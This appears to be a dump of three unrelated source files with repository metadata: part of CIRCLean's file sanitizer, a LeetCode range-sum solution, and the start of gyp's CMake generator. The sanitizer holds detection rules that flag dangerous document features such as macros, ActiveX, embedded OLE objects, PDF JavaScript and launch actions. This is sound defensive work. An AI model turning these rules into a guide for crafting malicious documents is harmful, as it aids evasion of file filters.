file') def _winoffice(self): """Process a winoffice file using olefile/oletools.""" oid = oletools.oleid.OleID(self.src_path) # First assume a valid file if not olefile.isOleFile(self.src_path): # Manual processing, may already count as suspicious try: ole = olefile.OleFileIO(self.src_path, raise_defects=olefile.DEFECT_INCORRECT) except Exception: self.make_dangerous('Unparsable WinOffice file') if ole.parsing_issues: self.make_dangerous('Parsing issues with WinOffice file') else: if ole.exists('macros/vba') or ole.exists('Macros') \ or ole.exists('_VBA_PROJECT_CUR') or ole.exists('VBA'): self.make_dangerous('WinOffice file containing a macro') else: indicators = oid.check() # Encrypted can be set by multiple checks on the script if oid.encrypted.value: self.make_dangerous('Encrypted WinOffice file') if oid.macros.value or oid.ole.exists('macros/vba') or oid.ole.exists('Macros') \ or oid.ole.exists('_VBA_PROJECT_CUR') or oid.ole.exists('VBA'): self.make_dangerous('WinOffice file containing a macro') for i in indicators: if i.id == 'ObjectPool' and i.value: self.make_dangerous('WinOffice file containing an object pool') elif i.id == 'flash' and i.value: self.make_dangerous('WinOffice file with embedded flash') self.add_description('WinOffice file') def _ooxml(self): """Process an ooxml file.""" self.add_description('OOXML (openoffice) file') try: doc = officedissector.doc.Document(self.src_path) except Exception: self.make_dangerous('Invalid ooxml file') return # There are probably other potentially malicious features: # fonts, custom props, custom XML if doc.is_macro_enabled or len(doc.features.macros) > 0: self.make_dangerous('Ooxml file containing macro') if len(doc.features.embedded_controls) > 0: self.make_dangerous('Ooxml file with activex') if len(doc.features.embedded_objects) > 0: # Exploited by CVE-2014-4114 (OLE) self.make_dangerous('Ooxml file with embedded objects') if len(doc.features.embedded_packages) > 0: self.make_dangerous('Ooxml file with embedded packages') def _libreoffice(self): """Process a libreoffice file.""" # As long as there is no way to do a sanity check on the files => dangerous try: lodoc = zipfile.ZipFile(self.src_path, 'r') except Exception: # TODO: are there specific exceptions we should catch here? Or should it be everything self.make_dangerous('Invalid libreoffice file') for f in lodoc.infolist(): fname = f.filename.lower() if fname.startswith('script') or fname.startswith('basic') or \ fname.startswith('object') or fname.endswith('.bin'): self.make_dangerous('Libreoffice file containing executable code') if not self.is_dangerous: self.add_description('Libreoffice file') def _pdf(self): """Process a PDF file.""" xmlDoc = PDFiD(self.src_path) oPDFiD = cPDFiD(xmlDoc, True) if oPDFiD.encrypt.count > 0: self.make_dangerous('Encrypted pdf') if oPDFiD.js.count > 0 or oPDFiD.javascript.count > 0: self.make_dangerous('Pdf with embedded javascript') if oPDFiD.aa.count > 0 or oPDFiD.openaction.count > 0: self.make_dangerous('Pdf with openaction(s)') if oPDFiD.richmedia.count > 0: self.make_dangerous('Pdf containing flash') if oPDFiD.launch.count > 0: self.make_dangerous('Pdf with launch action(s)') if oPDFiD.xfa.count > 0: self.make_dangerous('Pdf with XFA structures') if oPDFiD.objstm.count > 0: self.make_dangerous('Pdf with ObjectStream structures') if not self.is_dangerous: self.add_description('Pdf file') def _archive(self): """ Process an archive using 7zip. The archive is extracted to a temporary directory and self.process_dir is called on that directory. The recursive archive depth is increased to protect against archive bombs. """ # TODO: change this to something archive type specific instead of generic 'Archive' self.add_description('Archive') self.should_copy = False self.is_archive = True def _unknown_app(self): """Process an unknown file.""" self.make_dangerous('Unknown application file') def _binary_app(self): """Process an unknown binary file.""" self.make_dangerous('Unknown binary file') ####################### # Metadata extractors def _metadata_exif(self, metadata_file_path): """Read exif metadata from a jpg or tiff file using exifread.""" # TODO: can we shorten this method somehow? with open(self.src_path, 'rb') as img: tags = None try: tags = exifread.process_file(img, debug=True) except Exception as e: self.add_error(e, "Error while trying to grab full metadata for file {}; retrying for partial data.".format(self.src_path)) if tags is None: try: tags = exifread.process_file(img, debug=True) except Exception as e: self.add_error(e, "Failed to get any metadata for file {}.".format(self.src_path)) return False for tag in sorted(tags.keys()): # These tags are long and obnoxious/binary so we don't add them if tag not in ('JPEGThumbnail', 'TIFFThumbnail'): tag_string = str(tags[tag]) # Exifreader truncates data. if len(tag_string) > 25 and tag_string.endswith(", ... ]"): tag_value = tags[tag].values tag_string = str(tag_value) with open(metadata_file_path, 'w+') as metadata_file: metadata_file.write("Key: {}\tValue: {}\n".format(tag, tag_string)) # TODO: how do we want to log metadata? self.set_property('metadata', 'exif') return True def _metadata_png(self, metadata_file_path): """Extract metadata from a png file using PIL/Pillow.""" warnings.simplefilter('error', Image.DecompressionBombWarning) try: with Image.open(self.src_path) as img: for tag in sorted(img.info.keys()): # These are long and obnoxious/binary if tag not in ('icc_profile'): with open(metadata_file_path, 'w+') as metadata_file: metadata_file.write("Key: {}\tValue: {}\n".format(tag, img.info[tag])) # LOG: handle metadata self.set_property('metadata', 'png') except Exception as e: # Catch decompression bombs # TODO: only catch DecompressionBombWarnings here? self.add_error(e, "Caught exception processing metadata for {}".format(self.src_path)) self.make_dangerous('exception processing metadata') return False def extract_metadata(self): """Create metadata file and call correct metadata extraction method.""" metadata_file_path = self.create_metadata_file(".metadata.txt") mt = self.mimetype metadata_processing_method = self.metadata_mimetype_methods.get(mt) if metadata_processing_method: # TODO: should we return metadata and write it here instead of in processing method? metadata_processing_method(metadata_file_path) ####################### # ##### Media - audio and video aren't converted ###### def audio(self): """Process an audio file.""" self.add_description('Audio file') self._media_processing() def video(self): """Process a video.""" self.add_description('Video file') self._media_processing() def _media_processing(self): """Generic way to process all media files.""" self.add_description('Media file') def image(self): """ Process an image. Extracts metadata to dest key using self.extract_metada() if metadata is present. Creates a temporary directory on dest key, opens the image using PIL.Image, saves it to the temporary directory, and copies it to the destination. """ if self.has_metadata: self.extract_metadata() tempdir_path = self.make_tempdir() tempfile_path = os.path.join(tempdir_path, self.filename) warnings.simplefilter('error', Image.DecompressionBombWarning) try: # Do image conversions with Image.open(self.src_path) as img_in: with Image.frombytes(img_in.mode, img_in.size, img_in.tobytes()) as img_out: img_out.save(tempfile_path) self.src_path = tempfile_path except Exception as e: # Catch decompression bombs # TODO: change this from all Exceptions to specific DecompressionBombWarning self.add_error(e, "Caught exception (possible decompression bomb?) while translating file {}.".format(self.src_path)) self.make_dangerous('Image file containing decompression bomb') if not self.is_dangerous: self.add_description('Image file') class GroomerLogger(object): """Groomer logging interface.""" def __init__(self, src_root_path, dst_root_path, debug=False): self._src_root_path = src_root_path self._dst_root_path = dst_root_path self._log_dir_path = self._make_log_dir(dst_root_path) self.log_path = os.path.join(self._log_dir_path, 'circlean_log.txt') self._add_root_dir(src_root_path) if debug: self.log_debug_err = os.path.join(self._log_dir_path, 'debug_stderr.log') self.log_debug_out = os.path.join(self._log_dir_path, 'debug_stdout.log') else: self.log_debug_err = os.devnull self.log_debug_out = os.devnull def _make_log_dir(self, root_dir_path): """Create the directory in the dest dir that will hold the logs""" log_dir_path = os.path.join(root_dir_path, 'logs') if os.path.exists(log_dir_path): shutil.rmtree(log_dir_path) os.makedirs(log_dir_path) return log_dir_path def _add_root_dir(self, root_path): """Add the root directory to the log""" dirname = os.path.split(root_path)[1] + '/' with open(self.log_path, mode='ab') as lf: lf.write(bytes(dirname, 'utf-8')) lf.write(b'\n') def add_file(self, file_path, file_props, in_tempdir=False): """Add a file to the log. Takes a path and a dict of file properties.""" depth = self._get_path_depth(file_path) try: file_hash = Logging.computehash(file_path)[:6] except IsADirectoryError: file_hash = 'directory' except FileNotFoundError: file_hash = '------' if file_props['is_symlink']: symlink_template = "+- NOT COPIED: symbolic link to {name} ({sha_hash})" log_string = symlink_template.format( name=file_props['symlink_path'], sha_hash=file_hash ) else: if file_props['is_dangerous']: category = "Dangerous" else: category = "Normal" size_string = self._format_file_size(file_props['file_size']) if not file_props['copied']: copied_string = 'NOT COPIED: ' else: copied_string = '' file_template = "+- {copied}{name} ({sha_hash}): {size}, type: {mt}/{st}. {cat}: {desc_str}" log_string = file_template.format( copied=copied_string, name=file_props['filename'], sha_hash=file_hash, size=size_string, mt=file_props['maintype'], st=file_props['subtype'], cat=category, desc_str=file_props['description_string'], ) if file_props['errors']: error_string = ', '.join([str(key) for key in file_props['errors']]) log_string += (' Errors: ' + error_string) if in_tempdir: depth -= 1 self._write_line_to_log(log_string, depth) def add_dir(self, dir_path): """Add a directory to the log""" path_depth = self._get_path_depth(dir_path) dirname = os.path.split(dir_path)[1] + '/' log_line = '+- ' + dirname self._write_line_to_log(log_line, path_depth) def _format_file_size(self, size): """Returns a string with the file size and appropriate unit""" file_size = size for unit in ('B', 'KB', 'MB', 'GB'): if file_size < 1024: return str(int(file_size)) + unit else: file_size = file_size / 1024 return str(int(file_size)) + 'GB' def _get_path_depth(self, path): """Returns the relative path depth compared to root directory""" if self._dst_root_path in path: base_path = self._dst_root_path elif self._src_root_path in path: base_path = self._src_root_path relpath = os.path.relpath(path, base_path) path_depth = relpath.count(os.path.sep) return path_depth def _write_line_to_log(self, line, indentation_depth): """ Write a line to the log Pad the line according to the `indentation_depth`. """ padding = b' ' padding += b'| ' * indentation_depth line_bytes = os.fsencode(line) with open(self.log_path, mode='ab') as lf: lf.write(padding) lf.write(line_bytes) lf.write(b'\n') class KittenGroomerFileCheck(KittenGroomerBase): def __init__(self, root_src, root_dst, max_recursive_depth=2, debug=False): super(KittenGroomerFileCheck, self).__init__(root_src, root_dst) self.recursive_archive_depth = 0 self.max_recursive_depth = max_recursive_depth self.logger = GroomerLogger(root_src, root_dst, debug) def __repr__(self): return "filecheck.KittenGroomerFileCheck object: {{{}}}".format( os.path.basename(self.src_root_path) ) def process_dir(self, src_dir, dst_dir): """Process a directory on the source key.""" for srcpath in self.list_files_dirs(src_dir): if not os.path.islink(srcpath) and os.path.isdir(srcpath): self.logger.add_dir(srcpath) else: dstpath = os.path.join(dst_dir, os.path.basename(srcpath)) cur_file = File(srcpath, dstpath) self.process_file(cur_file) def process_file(self, file): """ Process an individual file. Check the file, handle archives using self.process_archive, copy the file to the destionation key, and clean up temporary directory. """ file.check() if file.is_archive: self.process_archive(file) else: if file.should_copy: file.safe_copy() file.set_property('copied', True) if not file._validate_random_hashes(): # Something's fucked up. file.make_dangerous('The copied file is different from the one checked, removing.') os.remove(file.dst_path) self.write_file_to_log(file) # TODO: Can probably handle cleaning up the tempdir better if hasattr(file, 'tempdir_path'): self.safe_rmtree(file.tempdir_path) def process_archive(self, file): """ Unpack an archive using 7zip and process contents using process_dir. Should be given a Kittengroomer file object whose src_path points to an archive. """ self.recursive_archive_depth += 1 if self.recursive_archive_depth >= self.max_recursive_depth: file.make_dangerous('Archive bomb') else: tempdir_path = file.make_tempdir() command_str = '{} -p1 x "{}" -o"{}" -bd -aoa' # -p1=password, x=extract, -o=output location, -bd=no % indicator, -aoa=overwrite existing files unpack_command = command_str.format(SEVENZ_PATH, file.src_path, tempdir_path) self._run_process(unpack_command) self.write_file_to_log(file) self.process_dir(tempdir_path, file.dst_path) self.safe_rmtree(tempdir_path) self.recursive_archive_depth -= 1 def _run_process(self, command_string, timeout=None): """Run command_string in a subprocess, wait until it finishes.""" args = shlex.split(command_string) with open(self.logger.log_debug_err, 'ab') as stderr, open(self.logger.log_debug_out, 'ab') as stdout: try: subprocess.check_call(args, stdout=stdout, stderr=stderr, timeout=timeout) except (subprocess.TimeoutExpired, subprocess.CalledProcessError): return return True def write_file_to_log(self, file): """Pass information about `file` to self.logger.""" props = file.get_all_props() if not file.is_archive: # FIXME: in_tempdir is a hack to make image files appear at the correct tree depth in log in_tempdir = os.path.exists(file.tempdir_path) self.logger.add_file(file.src_path, props, in_tempdir) def list_files_dirs(self, root_dir_path): """ Returns a list of all files and directories Performs a depth-first traversal of the file tree. """ queue = [] for path in sorted(os.listdir(root_dir_path), key=lambda x: str.lower(x)): full_path = os.path.join(root_dir_path, path) # check for symlinks first to prevent getting trapped in infinite symlink recursion if os.path.islink(full_path): queue.append(full_path) elif os.path.isdir(full_path): queue.append(full_path) queue += self.list_files_dirs(full_path) elif os.path.isfile(full_path): queue.append(full_path) return queue def run(self): self.process_dir(self.src_root_path, self.dst_root_path) def main(kg_implementation, description): parser = argparse.ArgumentParser(prog='KittenGroomer', description=description) parser.add_argument('-s', '--source', type=str, help='Source directory') parser.add_argument('-d', '--destination', type=str, help='Destination directory') args = parser.parse_args() kg = kg_implementation(args.source, args.destination) kg.run() if __name__ == '__main__': main(KittenGroomerFileCheck, 'File sanitizer used in CIRCLean. Renames potentially dangerous files.')
bsd-3-clause
xingjian-f/Leetcode-solution
304. Range Sum Query 2D - Immutable.py
1
1592
class NumMatrix(object): def __init__(self, matrix): """ initialize your data structure here. :type matrix: List[List[int]] """ self.dp = [range(len(matrix[0])) for i in range(len(matrix))] for i in range(len(matrix)): for j in range(len(matrix[i])): self.dp[i][j] = matrix[i][j] if i > 0: self.dp[i][j] += self.dp[i-1][j] if j > 0: self.dp[i][j] += self.dp[i][j-1] if i>0 and j>0: self.dp[i][j] -= self.dp[i-1][j-1] def sumRegion(self, row1, col1, row2, col2): """ sum of elements matrix[(row1,col1)..(row2,col2)], inclusive. :type row1: int :type col1: int :type row2: int :type col2: int :rtype: int """ ret = self.dp[row2][col2] if row1>0: ret -= self.dp[row1-1][col2] if col1>0: ret -= self.dp[row2][col1-1] if row1>0 and col1>0: ret += self.dp[row1-1][col1-1] return ret # Your NumMatrix object will be instantiated and called as such: # numMatrix = NumMatrix([ [3, 0, 1, 4, 2], # [5, 6, 3, 2, 1], # [1, 2, 0, 1, 5], # [4, 1, 0, 1, 7], # [1, 0, 3, 0, 5]]) numMatrix = NumMatrix([[-2]]) print numMatrix.sumRegion(0,0,0,0) # print numMatrix.sumRegion(0, 1, 2, 3) # print numMatrix.sumRegion(1, 2, 3, 4) # print numMatrix.sumRegion(2, 1, 4, 3) #-> 8 # print numMatrix.sumRegion(1, 1, 2, 2) #-> 11 # print numMatrix.sumRegion(1, 2, 2, 4) #-> 12
mit
gavinelliott/patsi
node_modules/grunt-sass/node_modules/node-sass/node_modules/node-gyp/gyp/pylib/gyp/generator/cmake.py
148
44560
# Copyright (c) 2013 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """cmake output module This module is under development and should be considered experimental. This module produces cmake (2.8.8+) input as its output. One CMakeLists.txt is created for each configuration. This module's original purpose was to support editing in IDEs like KDevelop which use CMake for project management. It is also possible to use CMake to generate projects for other IDEs such as eclipse cdt and code::blocks. QtCreator will convert the CMakeLists.txt to a code::blocks cbp for the editor to read, but build using CMake. As a result QtCreator editor is unaware of compiler defines. The generated CMakeLists.txt can also be used to build on Linux. There is currently no support for building on platforms other than Linux. The generated CMakeLists.txt should properly compile all projects. However, there is a mismatch between gyp and cmake with regard to linking. All attempts are made to work around this, but CMake sometimes sees -Wl,--start-group as a library and incorrectly repeats it. As a result the output of this generator should not be relied on for building. When using with kdevelop, use version 4.4+. Previous versions of kdevelop will not be able to find the header file directories described in the generated CMakeLists.txt file. """ import multiprocessing import os import signal import string import subprocess import gyp.common generator_default_variables = { 'EXECUTABLE_PREFIX': '', 'EXECUTABLE_SUFFIX': '', 'STATIC_LIB_PREFIX': 'lib', 'STATIC_LIB_SUFFIX': '.a', 'SHARED_LIB_PREFIX': 'lib', 'SHARED_LIB_SUFFIX': '.so', 'SHARED_LIB_DIR': '${builddir}/lib.${TOOLSET}', 'LIB_DIR': '${obj}.${TOOLSET}', 'INTERMEDIATE_DIR': '${obj}.${TOOLSET}/${TARGET}/geni', 'SHARED_INTERMEDIATE_DIR': '${obj}/gen', 'PRODUCT_DIR': '${builddir}', 'RULE_INPUT_PATH': '${RULE_INPUT_PATH}', 'RULE_INPUT_DIRNAME': '${RULE_INPUT_DIRNAME}', 'RULE_INPUT_NAME': '${RULE_INPUT_NAME}', 'RULE_INPUT_ROOT': '${RULE_INPUT_ROOT}', 'RULE_INPUT_EXT': '${RULE_INPUT_EXT}', 'CONFIGURATION_NAME': '${configuration}', } FULL_PATH_VARS = ('${CMAKE_SOURCE_DIR}', '${builddir}', '${obj}') generator_supports_multiple_toolsets = True generator_wants_static_library_dependencies_adjusted = True COMPILABLE_EXTENSIONS = { '.c': 'cc', '.cc': 'cxx', '.cpp': 'cxx', '.cxx': 'cxx', '.s': 's', # cc '.S': 's', # cc } def RemovePrefix(a, prefix): """Returns 'a' without 'prefix' if it starts with 'prefix'.""" return a[len(prefix):] if a.startswith(prefix) else a def CalculateVariables(default_variables, params): """Calculate additional variables for use in the build (called by gyp).""" default_variables.setdefault('OS', gyp.common.GetFlavor(params)) def Compilable(filename): """Return true if the file is compilable (should be in OBJS).""" return any(filename.endswith(e) for e in COMPILABLE_EXTENSIONS) def Linkable(filename): """Return true if the file is linkable (should be on the link line).""" return filename.endswith('.o') def NormjoinPathForceCMakeSource(base_path, rel_path): """Resolves rel_path against base_path and returns the result. If rel_path is an absolute path it is returned unchanged. Otherwise it is resolved against base_path and normalized. If the result is a relative path, it is forced to be relative to the CMakeLists.txt. """ if os.path.isabs(rel_path): return rel_path if any([rel_path.startswith(var) for var in FULL_PATH_VARS]): return rel_path # TODO: do we need to check base_path for absolute variables as well? return os.path.join('${CMAKE_SOURCE_DIR}', os.path.normpath(os.path.join(base_path, rel_path))) def NormjoinPath(base_path, rel_path): """Resolves rel_path against base_path and returns the result. TODO: what is this really used for? If rel_path begins with '$' it is returned unchanged. Otherwise it is resolved against base_path if relative, then normalized. """ if rel_path.startswith('$') and not rel_path.startswith('${configuration}'): return rel_path return os.path.normpath(os.path.join(base_path, rel_path)) def CMakeStringEscape(a): """Escapes the string 'a' for use inside a CMake string. This means escaping '\' otherwise it may be seen as modifying the next character '"' otherwise it will end the string ';' otherwise the string becomes a list The following do not need to be escaped '#' when the lexer is in string state, this does not start a comment The following are yet unknown '$' generator variables (like ${obj}) must not be escaped, but text $ should be escaped what is wanted is to know which $ come from generator variables """ return a.replace('\\', '\\\\').replace(';', '\\;').replace('"', '\\"') def SetFileProperty(output, source_name, property_name, values, sep): """Given a set of source file, sets the given property on them.""" output.write('set_source_files_properties(') output.write(source_name) output.write(' PROPERTIES ') output.write(property_name) output.write(' "') for value in values: output.write(CMakeStringEscape(value)) output.write(sep) output.write('")\n') def SetFilesProperty(output, variable, property_name, values, sep): """Given a set of source files, sets the given property on them.""" output.write('set_source_files_properties(') WriteVariable(output, variable) output.write(' PROPERTIES ') output.write(property_name) output.write(' "') for value in values: output.write(CMakeStringEscape(value)) output.write(sep) output.write('")\n') def SetTargetProperty(output, target_name, property_name, values, sep=''): """Given a target, sets the given property.""" output.write('set_target_properties(') output.write(target_name) output.write(' PROPERTIES ') output.write(property_name) output.write(' "') for value in values: output.write(CMakeStringEscape(value)) output.write(sep) output.write('")\n') def SetVariable(output, variable_name, value): """Sets a CMake variable.""" output.write('set(') output.write(variable_name) output.write(' "') output.write(CMakeStringEscape(value)) output.write('")\n') def SetVariableList(output, variable_name, values): """Sets a CMake variable to a list.""" if not values: return SetVariable(output, variable_name, "") if len(values) == 1: return SetVariable(output, variable_name, values[0]) output.write('list(APPEND ') output.write(variable_name) output.write('\n "') output.write('"\n "'.join([CMakeStringEscape(value) for value in values])) output.write('")\n') def UnsetVariable(output, variable_name): """Unsets a CMake variable.""" output.write('unset(') output.write(variable_name) output.write(')\n') def WriteVariable(output, variable_name, prepend=None): if prepend: output.write(prepend) output.write('${') output.write(variable_name) output.write('}') class CMakeTargetType(object): def __init__(self, command, modifier, property_modifier): self.command = command self.modifier = modifier self.property_modifier = property_modifier cmake_target_type_from_gyp_target_type = { 'executable': CMakeTargetType('add_executable', None, 'RUNTIME'), 'static_library': CMakeTargetType('add_library', 'STATIC', 'ARCHIVE'), 'shared_library': CMakeTargetType('add_library', 'SHARED', 'LIBRARY'), 'loadable_module': CMakeTargetType('add_library', 'MODULE', 'LIBRARY'), 'none': CMakeTargetType('add_custom_target', 'SOURCES', None), } def StringToCMakeTargetName(a): """Converts the given string 'a' to a valid CMake target name. All invalid characters are replaced by '_'. Invalid for cmake: ' ', '/', '(', ')', '"' Invalid for make: ':' Invalid for unknown reasons but cause failures: '.' """ return a.translate(string.maketrans(' /():."', '_______')) def WriteActions(target_name, actions, extra_sources, extra_deps, path_to_gyp, output): """Write CMake for the 'actions' in the target. Args: target_name: the name of the CMake target being generated. actions: the Gyp 'actions' dict for this target. extra_sources: [(<cmake_src>, <src>)] to append with generated source files. extra_deps: [<cmake_taget>] to append with generated targets. path_to_gyp: relative path from CMakeLists.txt being generated to the Gyp file in which the target being generated is defined. """ for action in actions: action_name = StringToCMakeTargetName(action['action_name']) action_target_name = '%s__%s' % (target_name, action_name) inputs = action['inputs'] inputs_name = action_target_name + '__input' SetVariableList(output, inputs_name, [NormjoinPathForceCMakeSource(path_to_gyp, dep) for dep in inputs]) outputs = action['outputs'] cmake_outputs = [NormjoinPathForceCMakeSource(path_to_gyp, out) for out in outputs] outputs_name = action_target_name + '__output' SetVariableList(output, outputs_name, cmake_outputs) # Build up a list of outputs. # Collect the output dirs we'll need. dirs = set(dir for dir in (os.path.dirname(o) for o in outputs) if dir) if int(action.get('process_outputs_as_sources', False)): extra_sources.extend(zip(cmake_outputs, outputs)) # add_custom_command output.write('add_custom_command(OUTPUT ') WriteVariable(output, outputs_name) output.write('\n') if len(dirs) > 0: for directory in dirs: output.write(' COMMAND ${CMAKE_COMMAND} -E make_directory ') output.write(directory) output.write('\n') output.write(' COMMAND ') output.write(gyp.common.EncodePOSIXShellList(action['action'])) output.write('\n') output.write(' DEPENDS ') WriteVariable(output, inputs_name) output.write('\n') output.write(' WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/') output.write(path_to_gyp) output.write('\n') output.write(' COMMENT ') if 'message' in action: output.write(action['message']) else: output.write(action_target_name) output.write('\n') output.write(' VERBATIM\n') output.write(')\n') # add_custom_target output.write('add_custom_target(') output.write(action_target_name) output.write('\n DEPENDS ') WriteVariable(output, outputs_name) output.write('\n SOURCES ') WriteVariable(output, inputs_name) output.write('\n)\n') extra_deps.append(action_target_name) def NormjoinRulePathForceCMakeSource(base_path, rel_path, rule_source): if rel_path.startswith(("${RULE_INPUT_PATH}","${RULE_INPUT_DIRNAME}")): if any([rule_source.startswith(var) for var in FULL_PATH_VARS]): return rel_path return NormjoinPathForceCMakeSource(base_path, rel_path) def WriteRules(target_name, rules, extra_sources, extra_deps, path_to_gyp, output): """Write CMake for the 'rules' in the target. Args: target_name: the name of the CMake target being generated. actions: the Gyp 'actions' dict for this target. extra_sources: [(<cmake_src>, <src>)] to append with generated source files. extra_deps: [<cmake_taget>] to append with generated targets. path_to_gyp: relative path from CMakeLists.txt being generated to the Gyp file in which the target being generated is defined. """ for rule in rules: rule_name = StringToCMakeTargetName(target_name + '__' + rule['rule_name']) inputs = rule.get('inputs', []) inputs_name = rule_name + '__input' SetVariableList(output, inputs_name, [NormjoinPathForceCMakeSource(path_to_gyp, dep) for dep in inputs]) outputs = rule['outputs'] var_outputs = [] for count, rule_source in enumerate(rule.get('rule_sources', [])): action_name = rule_name + '_' + str(count) rule_source_dirname, rule_source_basename = os.path.split(rule_source) rule_source_root, rule_source_ext = os.path.splitext(rule_source_basename) SetVariable(output, 'RULE_INPUT_PATH', rule_source) SetVariable(output, 'RULE_INPUT_DIRNAME', rule_source_dirname) SetVariable(output, 'RULE_INPUT_NAME', rule_source_basename) SetVariable(output, 'RULE_INPUT_ROOT', rule_source_root) SetVariable(output, 'RULE_INPUT_EXT', rule_source_ext) # Build up a list of outputs. # Collect the output dirs we'll need. dirs = set(dir for dir in (os.path.dirname(o) for o in outputs) if dir) # Create variables for the output, as 'local' variable will be unset. these_outputs = [] for output_index, out in enumerate(outputs): output_name = action_name + '_' + str(output_index) SetVariable(output, output_name, NormjoinRulePathForceCMakeSource(path_to_gyp, out, rule_source)) if int(rule.get('process_outputs_as_sources', False)): extra_sources.append(('${' + output_name + '}', out)) these_outputs.append('${' + output_name + '}') var_outputs.append('${' + output_name + '}') # add_custom_command output.write('add_custom_command(OUTPUT\n') for out in these_outputs: output.write(' ') output.write(out) output.write('\n') for directory in dirs: output.write(' COMMAND ${CMAKE_COMMAND} -E make_directory ') output.write(directory) output.write('\n') output.write(' COMMAND ') output.write(gyp.common.EncodePOSIXShellList(rule['action'])) output.write('\n') output.write(' DEPENDS ') WriteVariable(output, inputs_name) output.write(' ') output.write(NormjoinPath(path_to_gyp, rule_source)) output.write('\n') # CMAKE_SOURCE_DIR is where the CMakeLists.txt lives. # The cwd is the current build directory. output.write(' WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/') output.write(path_to_gyp) output.write('\n') output.write(' COMMENT ') if 'message' in rule: output.write(rule['message']) else: output.write(action_name) output.write('\n') output.write(' VERBATIM\n') output.write(')\n') UnsetVariable(output, 'RULE_INPUT_PATH') UnsetVariable(output, 'RULE_INPUT_DIRNAME') UnsetVariable(output, 'RULE_INPUT_NAME') UnsetVariable(output, 'RULE_INPUT_ROOT') UnsetVariable(output, 'RULE_INPUT_EXT') # add_custom_target output.write('add_custom_target(') output.write(rule_name) output.write(' DEPENDS\n') for out in var_outputs: output.write(' ') output.write(out) output.write('\n') output.write('SOURCES ') WriteVariable(output, inputs_name) output.write('\n') for rule_source in rule.get('rule_sources', []): output.write(' ') output.write(NormjoinPath(path_to_gyp, rule_source)) output.write('\n') output.write(')\n') extra_deps.append(rule_name) def WriteCopies(target_name, copies, extra_deps, path_to_gyp, output): """Write CMake for the 'copies' in the target. Args: target_name: the name of the CMake target being generated. actions: the Gyp 'actions' dict for this target. extra_deps: [<cmake_taget>] to append with generated targets. path_to_gyp: relative path from CMakeLists.txt being generated to the Gyp file in which the target being generated is defined. """ copy_name = target_name + '__copies' # CMake gets upset with custom targets with OUTPUT which specify no output. have_copies = any(copy['files'] for copy in copies) if not have_copies: output.write('add_custom_target(') output.write(copy_name) output.write(')\n') extra_deps.append(copy_name) return class Copy(object): def __init__(self, ext, command): self.cmake_inputs = [] self.cmake_outputs = [] self.gyp_inputs = [] self.gyp_outputs = [] self.ext = ext self.inputs_name = None self.outputs_name = None self.command = command file_copy = Copy('', 'copy') dir_copy = Copy('_dirs', 'copy_directory') for copy in copies: files = copy['files'] destination = copy['destination'] for src in files: path = os.path.normpath(src) basename = os.path.split(path)[1] dst = os.path.join(destination, basename) copy = file_copy if os.path.basename(src) else dir_copy copy.cmake_inputs.append(NormjoinPathForceCMakeSource(path_to_gyp, src)) copy.cmake_outputs.append(NormjoinPathForceCMakeSource(path_to_gyp, dst)) copy.gyp_inputs.append(src) copy.gyp_outputs.append(dst) for copy in (file_copy, dir_copy): if copy.cmake_inputs: copy.inputs_name = copy_name + '__input' + copy.ext SetVariableList(output, copy.inputs_name, copy.cmake_inputs) copy.outputs_name = copy_name + '__output' + copy.ext SetVariableList(output, copy.outputs_name, copy.cmake_outputs) # add_custom_command output.write('add_custom_command(\n') output.write('OUTPUT') for copy in (file_copy, dir_copy): if copy.outputs_name: WriteVariable(output, copy.outputs_name, ' ') output.write('\n') for copy in (file_copy, dir_copy): for src, dst in zip(copy.gyp_inputs, copy.gyp_outputs): # 'cmake -E copy src dst' will create the 'dst' directory if needed. output.write('COMMAND ${CMAKE_COMMAND} -E %s ' % copy.command) output.write(src) output.write(' ') output.write(dst) output.write("\n") output.write('DEPENDS') for copy in (file_copy, dir_copy): if copy.inputs_name: WriteVariable(output, copy.inputs_name, ' ') output.write('\n') output.write('WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/') output.write(path_to_gyp) output.write('\n') output.write('COMMENT Copying for ') output.write(target_name) output.write('\n') output.write('VERBATIM\n') output.write(')\n') # add_custom_target output.write('add_custom_target(') output.write(copy_name) output.write('\n DEPENDS') for copy in (file_copy, dir_copy): if copy.outputs_name: WriteVariable(output, copy.outputs_name, ' ') output.write('\n SOURCES') if file_copy.inputs_name: WriteVariable(output, file_copy.inputs_name, ' ') output.write('\n)\n') extra_deps.append(copy_name) def CreateCMakeTargetBaseName(qualified_target): """This is the name we would like the target to have.""" _, gyp_target_name, gyp_target_toolset = ( gyp.common.ParseQualifiedTarget(qualified_target)) cmake_target_base_name = gyp_target_name if gyp_target_toolset and gyp_target_toolset != 'target': cmake_target_base_name += '_' + gyp_target_toolset return StringToCMakeTargetName(cmake_target_base_name) def CreateCMakeTargetFullName(qualified_target): """An unambiguous name for the target.""" gyp_file, gyp_target_name, gyp_target_toolset = ( gyp.common.ParseQualifiedTarget(qualified_target)) cmake_target_full_name = gyp_file + ':' + gyp_target_name if gyp_target_toolset and gyp_target_toolset != 'target': cmake_target_full_name += '_' + gyp_target_toolset return StringToCMakeTargetName(cmake_target_full_name) class CMakeNamer(object): """Converts Gyp target names into CMake target names. CMake requires that target names be globally unique. One way to ensure this is to fully qualify the names of the targets. Unfortunatly, this ends up with all targets looking like "chrome_chrome_gyp_chrome" instead of just "chrome". If this generator were only interested in building, it would be possible to fully qualify all target names, then create unqualified target names which depend on all qualified targets which should have had that name. This is more or less what the 'make' generator does with aliases. However, one goal of this generator is to create CMake files for use with IDEs, and fully qualified names are not as user friendly. Since target name collision is rare, we do the above only when required. Toolset variants are always qualified from the base, as this is required for building. However, it also makes sense for an IDE, as it is possible for defines to be different. """ def __init__(self, target_list): self.cmake_target_base_names_conficting = set() cmake_target_base_names_seen = set() for qualified_target in target_list: cmake_target_base_name = CreateCMakeTargetBaseName(qualified_target) if cmake_target_base_name not in cmake_target_base_names_seen: cmake_target_base_names_seen.add(cmake_target_base_name) else: self.cmake_target_base_names_conficting.add(cmake_target_base_name) def CreateCMakeTargetName(self, qualified_target): base_name = CreateCMakeTargetBaseName(qualified_target) if base_name in self.cmake_target_base_names_conficting: return CreateCMakeTargetFullName(qualified_target) return base_name def WriteTarget(namer, qualified_target, target_dicts, build_dir, config_to_use, options, generator_flags, all_qualified_targets, output): # The make generator does this always. # TODO: It would be nice to be able to tell CMake all dependencies. circular_libs = generator_flags.get('circular', True) if not generator_flags.get('standalone', False): 